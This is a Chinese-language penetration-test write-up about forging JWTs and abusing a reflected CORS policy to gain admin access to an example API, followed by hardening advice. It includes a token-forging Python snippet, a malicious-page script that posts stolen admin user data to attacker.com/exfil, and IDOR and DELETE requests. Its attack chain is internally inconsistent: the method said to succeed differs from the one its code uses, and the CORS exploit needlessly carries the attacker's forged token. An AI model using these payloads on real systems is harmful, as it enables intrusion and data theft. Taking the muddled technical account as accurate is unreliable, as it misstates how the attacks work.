从一次内部渗透测试复盘讲起：我们是如何绕过JWT令牌和CORS配置，轻松拿到管理员权限的-开发者社区

从渗透测试实战看JWT与CORS的安全陷阱：一次权限提升的完整链条分析

那天下午三点二十七分，咖啡机刚发出萃取完成的滴答声，Burp Suite的Proxy历史记录里突然跳出一条不寻常的响应——一个本应返回403的API请求竟然带着200状态码和完整的用户列表数据回来了。这个意外发现开启了我们为期三天的权限提升之旅，也暴露出现代Web安全架构中最危险的组合漏洞：脆弱的JWT实现与宽松的CORS策略。

1. 初始侦察与目标定位

任何有效的渗透测试都始于充分的信息收集。我们面对的是一个典型的前后端分离架构：React前端托管在app.example.com，REST API服务部署在api.example.com。通过浏览器开发者工具观察网络请求，几个关键特征立即引起了我们的注意：

所有API请求都在Authorization头中使用Bearer token
跨域请求携带Origin: https://app.example.com头部
响应中包含Access-Control-Allow-Credentials: true

使用Burp的Repeater模块重放请求时，我们构造了以下测试用例：

GET /api/v1/users/me HTTP/1.1 Host: api.example.com Origin: https://attacker.com Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

令人惊讶的是，服务器返回了：

{ "id": 123, "username": "test_user", "role": "user" }

这表明CORS策略可能存在配置缺陷。更关键的是，观察JWT令牌的结构发现其使用HS256算法，且未设置适当的过期时间（exp claim）。

2. JWT令牌的元数据攻击

JSON Web Tokens作为现代认证方案的核心组件，其安全性高度依赖于实现细节。我们通过jwt.io解码获得的令牌：

{ "alg": "HS256", "typ": "JWT" } { "sub": "123", "name": "test_user", "role": "user", "iat": 1625097600 }

关键发现：

使用对称加密算法（HS256）而非RS256
缺少标准声明（如exp, aud）
角色信息直接存储在令牌中

通过Burp的JWT Editor插件，我们尝试了以下攻击路径：

算法混淆攻击：将头部修改为{"alg":"none"}并移除签名
密钥爆破：使用已知的弱密钥列表（如"secret"、"changeme"）进行签名验证
声明注入：直接修改payload中的role字段为"admin"

import jwt # 使用爆破得到的密钥伪造管理员令牌 malicious_token = jwt.encode( {"sub":"123","name":"test_user","role":"admin","iat":1625097600}, "company_default_secret", algorithm="HS256" )

第三种方法取得了成功。系统完全信任客户端提供的角色声明，没有任何服务器端验证。

3. 利用CORS错误配置扩大攻击面

虽然获得了管理员令牌，但真正的挑战在于如何让受害者的浏览器执行跨域请求。测试发现API端点存在以下CORS配置：

HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT

这种反射型CORS策略（即动态回显请求中的Origin头）结合Allow-Credentials，构成了典型的权限提升漏洞。我们构建了恶意页面：

<script> fetch('https://api.example.com/api/v1/admin/users', { credentials: 'include', headers: { 'Authorization': 'Bearer <伪造的JWT>' } }).then(res => res.json()) .then(data => fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) })); </script>

当管理员用户访问该页面时，其浏览器会自动携带合法cookie发起跨域请求，而服务器错误地认为这是合法操作。

4. 强制浏览与横向移动

获得初始立足点后，我们开始探索系统内部的访问控制缺陷。通过Burp的Intruder模块对API端点进行枚举：

/api/v1/admin/users /api/v1/admin/roles /api/v1/config /api/v1/logs

发现系统存在不安全的直接对象引用（IDOR）漏洞。例如，修改以下URL中的用户ID参数可以访问任意用户数据：

GET /api/v1/users/[id]/profile

更严重的是，某些管理接口未对HTTP方法实施访问控制：

DELETE /api/v1/users/456 HTTP/1.1 Host: api.example.com Authorization: Bearer <普通用户令牌>

这种漏洞组合允许攻击者从普通用户权限开始，逐步收集信息、提升权限，最终完全控制系统。

5. 防御策略的多层防护

基于此次测试暴露的问题，我们建议采用深度防御策略：

JWT安全加固

使用非对称算法（RS256/ES256）
设置合理的令牌有效期（建议≤15分钟）
关键操作要求二次认证
服务器端维护令牌吊销列表

# 最佳实践示例 from authlib.jose import JsonWebKey, JsonWebToken private_key = JsonWebKey.generate_key('RSA', 2048) jwt = JsonWebToken(['RS256']) token = jwt.encode( {'alg': 'RS256'}, {'sub': 'user123', 'exp': datetime.utcnow() + timedelta(minutes=15)}, private_key )

CORS严格策略

预定义允许的Origin白名单
禁止Credentials与通配符(*)组合使用
对敏感接口禁用CORS

# Nginx配置示例 map $http_origin $cors_origin { default ""; "~^https://(app|partner)\.example\.com$" $http_origin; } server { location /api/ { if ($cors_origin = "") { return 403; } add_header 'Access-Control-Allow-Origin' $cors_origin; add_header 'Access-Control-Allow-Methods' 'GET, POST'; add_header 'Access-Control-Allow-Headers' 'Content-Type'; add_header 'Access-Control-Max-Age' 86400; } }

访问控制增强

实施基于属性的访问控制（ABAC）
所有敏感操作记录详细审计日志
对管理接口实施速率限制
定期进行自动化权限矩阵测试

6. 从攻击者视角看防御有效性

真正有效的安全措施需要站在攻击者角度思考。我们验证防御方案时特别关注：

令牌篡改检测：服务器是否验证签名算法与预期一致？
权限变更响应：用户角色修改后是否立即失效现有令牌？
CORS预检请求：OPTIONS方法是否实施与主请求相同的访问控制？
API端点防护：是否每个端点都明确定义了所需的权限级别？

一个实用的测试方法是构建自动化扫描脚本：

#!/bin/bash # 测试CORS配置 curl -H "Origin: https://attacker.com" \ -H "Authorization: Bearer invalid_token" \ -v https://api.example.com/api/v1/users/me # 测试JWT验证 curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." \ https://api.example.com/api/v1/admin/users

在项目上线前，我们建议进行至少三轮测试：自动化扫描、手动渗透测试和红蓝对抗演练。只有经过多维度验证的方案，才能有效抵御现实世界中的复合攻击。